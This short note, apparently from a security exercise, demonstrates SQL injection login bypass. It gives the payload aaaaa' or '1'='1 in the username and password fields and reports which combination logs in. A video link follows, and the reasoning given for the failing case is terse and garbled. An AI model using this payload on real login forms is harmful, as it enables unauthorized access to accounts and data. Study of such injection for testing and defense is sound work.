case1
pass user name as below
aaaaa' or '1'='1
and pass user password as below
aaaaa' or '1'='1
would login success
case 2
pass user name as below
aaaaa' or '1'='1
and pass user password as below
aaaaa
would login fail, becasuse 「 always TRUE and FALSE 」
video
https://www.youtube.com/watch?v=zgGH32nhfbU&feature=youtu.be&ab_channel=%E6%B1%9F%E6%96%B0%E7%9F%A5